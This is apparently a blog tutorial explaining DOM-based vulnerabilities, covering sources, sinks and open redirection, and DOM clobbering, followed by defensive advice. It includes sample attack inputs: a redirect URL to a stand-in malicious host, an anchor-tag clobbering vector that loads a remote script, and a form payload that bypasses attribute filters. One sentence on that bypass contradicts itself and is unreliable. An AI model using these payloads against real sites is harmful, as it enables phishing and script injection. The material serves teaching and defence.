DOM-based Vulnerabilities and DOM Clobbering: Sources, Sinks, and Mitigations

This article explains what the Document Object Model (DOM) is, describes how unsafe handling of DOM sources and sinks leads to vulnerabilities such as XSS, open redirection, and DOM clobbering, and provides practical mitigation techniques and defensive coding practices.

System Architect Go
System Architect Go
System Architect Go
DOM-based Vulnerabilities and DOM Clobbering: Sources, Sinks, and Mitigations

DOM-based vulnerabilities

In this section we describe what the DOM is, explain how unsafe handling of DOM data introduces vulnerabilities, and suggest how to prevent DOM‑based flaws on your site.

What is DOM

Document Object Model ( DOM) is the hierarchical representation of page elements that browsers expose. JavaScript can manipulate DOM nodes, objects, and their attributes. While DOM manipulation itself is essential, unsafe JavaScript handling of attacker‑controlled data can lead to attacks. When JavaScript receives a value from a controllable source and passes it to a dangerous function ( sink), a DOM‑based vulnerability arises.

Pollution‑flow vulnerabilities

Many DOM‑based vulnerabilities stem from client‑side code mishandling attacker‑controlled data.

What is pollution flow

To exploit or mitigate these flaws you must understand the basic concept of a pollution flow between a source and a sink.

A source is a JavaScript property that can accept attacker‑controlled data. An example is location.search, which reads input from the query string and is easily manipulable. Any property that an attacker can influence—such as document.referrer, document.cookie, or web messages—constitutes a potential source.

A sink is a JavaScript function or DOM object that becomes dangerous when fed attacker data. For instance, eval() executes its argument as code, and document.body.innerHTML can inject malicious HTML that runs arbitrary JavaScript.

When data flows from a source to a sink and the sink processes it insecurely in the client session, a DOM‑based vulnerability appears.

The most common source is the URL, accessed via the location object. An attacker can craft a link that places malicious payloads in the URL’s query or fragment parts. Consider the following code:

goto = location.hash.slice(1)
if(goto.startsWith('https:')) {
  location = goto;
}

This is a DOM‑based open‑redirect vulnerability because the location.hash source is handled unsafely. If the fragment begins with https, the script extracts the fragment value and assigns it to window.location. An attacker can use a URL such as:

https://www.innocent-website.com/example#https://www.evil-user.net

When a victim visits that URL, the JavaScript sets location to www.evil-user.net, causing an automatic redirect to a malicious site, which is a common phishing technique.

Common source examples

Typical source properties used in pollution‑flow attacks include:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Additional sources are: Reflected data (反射数据) Stored data (存储数据)

Web messages

Which sinks cause DOM‑based vulnerabilities

The table below gives a quick overview of common DOM‑based vulnerabilities and example sink functions.

DOM‑based vulnerability

sink example

DOM XSS

document.write()

Open redirection

window.location

Cookie manipulation

document.cookie

JavaScript injection

eval()

Document‑domain manipulation

document.domain

WebSocket‑URL poisoning

WebSocket()

Link manipulation

someElement.src

Web‑message manipulation

postMessage()

Ajax request‑header manipulation

setRequestHeader()

Local file‑path manipulation

FileReader.readAsText()

Client‑side SQL injection

ExecuteSql()

HTML5‑storage manipulation

sessionStorage.setItem()

Client‑side XPath injection

document.evaluate()

Client‑side JSON injection

JSON.parse()

DOM‑data manipulation

someElement.setAttribute()

Denial of service

RegExp()

How to prevent DOM‑based pollution‑flow vulnerabilities

There is no single action that eliminates all DOM threats, but the most effective strategy is to avoid passing data from untrusted source elements into any sink without proper validation.

If the required functionality makes this unavoidable, defensive measures must be applied in client code. Whitelisting known‑safe values, sanitizing or encoding data according to context (JavaScript escaping, HTML encoding, URL encoding) is essential.

For specific mitigations, refer to the linked pages for each vulnerability in the table above.

DOM clobbering

DOM clobbering is an advanced technique where an attacker injects HTML into a page to manipulate the DOM and ultimately alter JavaScript behavior. The most common form uses an anchor element to overwrite a global variable, which the application later uses insecurely (e.g., to build a dynamic script URL).

DOM clobbering

This section describes what DOM clobbering is, demonstrates how to exploit it, and proposes defensive measures.

What is DOM clobbering

DOM clobbering is a technique that injects HTML to manipulate the DOM and change JavaScript behavior. It is especially useful when XSS is blocked but an attacker can control whitelisted HTML attributes such as id or name. The typical pattern overwrites a global variable with an anchor element.

The term “clobbering” comes from the fact that you “clobber” (overwrite) a global variable or object property with a DOM node or HTML collection.

How to exploit DOM‑clobbering vulnerabilities

Some developers write code like the following:

var someObject = window.someObject || {};

If an attacker can control HTML on the page, they can make someObject reference a DOM node (e.g., an anchor). Consider this script:

<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>

By injecting the following HTML, the attacker forces someObject to reference an anchor element whose name attribute provides a malicious URL:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

Because two elements share the same id, the DOM treats them as a collection, and the clobbering vector overwrites the original someObject reference. The name attribute on the second anchor supplies the url property, causing the script to load malicious code.

Another common method uses a form and input to clobber the attributes property, bypassing client‑side filters that iterate over element.attributes. Example injection:

<form onclick=alert(1)><input id=attributes>Click me

When the filter encounters the input named attributes, it mistakenly treats it as the attribute list, causing the onclick handler to be ignored and executed.

How to defend against DOM‑clobbering attacks

In short, validate that objects or functions are of the expected type before using them. For instance, ensure a property is an instance of NamedNodeMap before treating it as attributes.

Avoid combining global variables with the logical OR operator ( ||) because this pattern can enable clobbering.

Summary of defensive steps:

Validate objects and functions before use; ensure they are not DOM nodes when filtering.

Avoid dangerous coding patterns such as using || with global variables.

Use well‑tested libraries like DOMPurify, which can mitigate DOM clobbering.

System Architect Go
Written by

System Architect Go

Programming, architecture, application development, message queues, middleware, databases, containerization, big data, image processing, machine learning, AI, personal growth.

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.